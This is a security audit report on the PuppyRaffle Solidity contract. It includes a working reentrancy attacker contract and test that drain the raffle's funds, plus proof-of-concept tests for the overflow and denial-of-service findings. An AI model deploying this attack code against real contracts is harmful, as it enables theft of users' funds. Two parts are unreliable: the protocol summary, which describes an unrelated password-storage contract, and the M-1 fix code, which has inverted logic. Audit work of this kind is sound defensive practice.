
# Puppy Raffle Audit Report

Prepared by: Julián Cabrera Marceglia

# Puppy Raffle Audit Report

Prepared by: Julián Cabrera Marceglia

Lead Auditors:

- Julián Cabrera Marceglia (https://github.com/juliancabmar)

Assisting Auditors:

- None

# Table of contents

▶ Detalles
See table

# About Julián Cabrera Marceglia

I am a security researcher who want to make the web3 enviroment safer.

# Disclaimer

The Julián Cabrera Marceglia team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

# Risk Classification

| | | **Impact** | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

# Audit Details

**The findings described in this document correspond the following commit hash:**

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

## Scope

```
src/
--- PuppyRaffle.sol
```

# Protocol Summary

PasswordStore is a protocol dedicated to storage and retrieval of a user's passwords. The protocol is designed to be used by a single user, and is not designed to be used by multiple users. Only the owner should be able to set and access this password.

## Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

# Executive Summary

## Issues found

| Severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 3 |
| Low | 1 |
| Info | 6 |
| Gas Optimizations | 2 |
| Total | 15 |

# Findings

## High Risk Findings

### [H-1] Reentrancy attack in `PuppyRaffle::refund` function allown entrant to drain raffle balance

**Description:**
The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance. This occurs because the `PuppyRaffle::refund` function make a external call to msg.sender before update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle behind an another contract with a `fallback`/`receive` function in it, could call the `PuppyRaffle::refund` again and claim another refund. They could continue this cycle till the raffle contract balance is drained.

**Impact:**
All fees paid by raffle entrants could be stolen by the malicious participant.

**Proof of Concept:**

1. User enters the raffle
2. Attacker set up a contract with a `fallback` function that call `PuppyRaffle::refund`
3. Attacker enter the raffle from their attack contract setted contract
4. Attacker calls `PuppyRaffle::refund` from their attack contract

**Proof of Code:**

▶ PoC

Paste the following into the `PuppyRaffleTest.t.sol`

```
function test_Audit_Reentrancy_Refund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

    ReentrancyAttacker reentrancyAttacker = new
ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    uint256 startingAttackerContractBalance = address(attacker).balance;
    uint256 startingRaffleContractBalance = address(puppyRaffle).balance;

    console.log("Attacker contract start: ",
```

```
startingAttackerContractBalance);
    console.log("Raffle contract start: ", startingRaffleContractBalance);

    vm.prank(attacker);
    reentrancyAttacker.attack{value: entranceFee}();

    uint256 endingAttackerContractBalance =
address(reentrancyAttacker).balance;
    uint256 endingRaffleContractBalance = address(puppyRaffle).balance;

    assertEq(endingAttackerContractBalance, startingAttackerContractBalance
+ startingRaffleContractBalance);
    assertEq(endingRaffleContractBalance, 0);

    console.log("Attacker contract end: ", endingAttackerContractBalance);
    console.log("Raffle contract end: ", endingRaffleContractBalance);
}
```

An the attacker contract too:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
```

```
    }
}
```

**Recommended Mitigation:**
To prevent this, on the `PuppyRaffle::refund` function, update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);

-       emit RaffleRefunded(playerAddress);
    }
```

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` function allows users to influence or predict the winner and influence or predict the winning puppy

**Description:**
Hashing `msg.sender`, `block.difficulty`, and `block.timestamp` together create a predictable random number. A predictable number is not a good random number. Malicious users can use these values or known them ahead to choose the winner of the raffle themselvles

*Note* This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:**
Any user can influence the winner of the raffle, and the winning puppy. This could lead to a loss of trust in the raffle system.

**Proof of Concept:**

1. Validators can know ahead of time the `block.difficulty` and `block.timestamp` and use that for predict when/how to participate. See the solidity blog prevrandao. `block.difficulty` was recently replaced with `block.prevrandao`.
2. Users can mine/manipulate their `msg.sender` value to result in this address being used to generate the winner!
3. Users can revert their `PuppyRaffle::selectWinner` transaction if they see they are not the winner, and call `PuppyRaffle::refund` to get their entrance fee back.

Using this on-chain values for get a randomness sed is a well-documented attack vector in the blockchain world.

**Recommended Mitigation:**
Using a secure random number generator, such as Chainlink VRF or a similar service, to generate the random number for selecting the winner. This will ensure that the random number is unpredictable and cannot be influenced by any user.

### [H-3] Integer overflow on `PuppyRaffle::totalFees` loses fees

**Description:**
In Solidity prior to version 0.8.0, integer overflow were not checked by default. This means that if a number exceeds the maximum value for its type, it will wrap around to zero.

```
uint64 myVar = type(uint64).max;
// myVar is 18446744073709551615 now
myVar = myVar + 1;
// myVar is 0 now
```

**Impact:**
In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

▶ Proof Of Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
    }
```

**Recommended Mitigation:**
There are a few recommended mitigations here:

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

## Medium Risk Findings

### [M-1] The For Loop on `Puppyraffle::enterRaffle` function is a potential denial of service (DoS) attack.

**Description:**
The for loop inside the `Puppyraffle::enterRaffle` function runs through an increasing array of players searching for duplicate ones, opening the possibility that an attacker could pass player addresses multiple times, making the later calls more gas expensive than the earlier ones.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

**Impact:**
After the attack, the new costs of entering the raffle would discourage new real users.

**Proof of Concept:**
If we have two sets of 100 players enter, the gas used will be as such:

- 1st 100 players: ~6503269 gas
- 2nd 100 players: ~18995097 gas

The second set is ~3x more expensive than the first.

▶ PoC

Place the following test into `test/PuppyRaffleTest.t.sol`.

```
function testDoSEnterRaffle() public {
    uint256 startGas;
    uint256 gasUsedFirst;
    uint256 gasUsedSecond;
    uint256 numOfPlayers = 100;
    address[] memory players = new address[](numOfPlayers);

    for (uint256 i = 0; i < numOfPlayers; i++) {
        players[i] = address(uint160(i));
    }
    startGas = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(players);
    gasUsedFirst = startGas - gasleft();

    for (uint256 i = 0; i < numOfPlayers; i++) {
        players[i] = address(uint160(i + numOfPlayers));
    }
    startGas = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(players);
    gasUsedSecond = startGas - gasleft();
    console.log("Gas used on first enterRaffle() call: ", gasUsedFirst);
    console.log("Gas used on second enterRaffle() call: ", gasUsedSecond);
    assert(gasUsedFirst < gasUsedSecond);
}
```

**Recommended Mitigation:**

1. Consider allow duplicate addresses, because users can make new wallet addresses anyways, so duplicate check doesn't prevent the same person from entering multiple times.
2. Refactory the function code using a mapping instead of an array for check duplicates addresses.

▶ Code example

```
-   address[] public players;
+   mapping(address => bool) public players;
+   error Puppyraffle__NotDuplicateAddressAllowed(address
duplicateAddress);

    function enterRaffle(address[] memory newPlayers) public payable {
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );
+       // Revert with the custom error if a duplicate address is found
        for (uint256 i = 0; i < newPlayers.length; i++) {
-           players.push(newPlayers[i]);
+           if (!players[newPlayers[i]]) {
+               revert
Puppyraffle__NotDuplicateAddressAllowed(newPlayers[i]);
+           }
+           players[newPlayers[i]];
```

```
        }

-       // Check for duplicates
-       // audit DoS
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(
-                   players[i] != players[j],
-                   "PuppyRaffle: Duplicate player"
-               );
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
```

### [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:**
In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:**
This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

**Recommended Mitigation:**
Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

## [M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

**Description:**
The `PuppyRaffle::selectWinner` function is responsible for reseting the lottery, however, if the winner is a smart contract wallet that does not implement a `receive` or `fallback` function, the contract will be unable to send the prize pool to the winner. This will block the start of a new contest.

Users could easily call `selectWinner` again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:**
The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset very difficult.

Also, true winners would not be able to claim their prize, and someone else could take their money.

**Proof of Concept:**

1. 10 smart contract wallets enter the raffle without a `receive` or `fallback` function.
2. The lottery ends.
3. The `PuppyRaffle::selectWinner` function wouldn't work, even though lottery is over!

**Recommended Mitigation:**
There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

## Low Risk Findings

### [L-1] On `PuppyRaffle::getActivePlayerIndex`, if zero is the index of the first address in the players array, so the user 0 may think what is not active.

**Description:**
`PuppyRaffle::getActivePlayerIndex` returns the same "0" output for an non-existed player and for the one who have `players[0]` array index.

```
function getActivePlayerIndex(address player) external view returns
(uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

**Impact:**
A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concept:**

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` return 0
3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:**
If the function not find a active player can may return "-1" instead of "0", or a better approach will be,

revert the txn with a `PuppyRaffle__UserIsNotActive` custom error.

## Gas Optimizations

### [G-1] Unchanged state variables should be declared constant or immutable.

**Description:**
Reading from storage is more gas expensive than reading from a constant or inmmutable variable.

**Instances:**

- `PuppyRaffle::reffleDuration` should be `immutable`
- `PuppyRaffle::reffleStartTime` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

### [G-2] Storage Array Length not Cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

▶ 4 Found Instances

- Found in src/PuppyRaffle.sol Line: 88

```
        for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 89

```
            for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 115

```
        for (uint256 i = 0; i < players.length; i++) {
```

- Found in src/PuppyRaffle.sol Line: 186

```
        for (uint256 i = 0; i < players.length; i++) {
```

**Recommended Mitigation:**

▶ Code example

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-               for (uint256 j = i + 1; j < players.length; j++) {
+               for (uint256 j = i + 1; j < playersLength; j++) {
                   require(players[i] != players[j], "PuppyRaffle:
Duplicate player");
               }
           }
```

## Informational

### [I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

▶ 1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

### [I-2] Using an outdated version of Solidity is not recommended.

**Description:**
solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommended Mitigation:**
Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

### [I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 179

```
        feeAddress = newFeeAddress;
```

### [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep the code clean and follow CEI (Check, Effects, Interactions)

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Using magic numbers is discouraged

It can confusing to see number literals in the code. Consider using a constant variable with a descriptive name instead.

Example:

```
+   uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+   uint256 public constant FEE_PERCENTAGE = 20;
+   uint256 public constant POOL_PRECISION = 100;
.
.
.
-   uint256 prizePool = (totalAmountCollected * 80) / 100;
-   uint256 fee = (totalAmountCollected * 20) / 100;
+   uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
+   uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

### [I-6] _isActivePlayer is never used and should be removed

**Description:**
The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```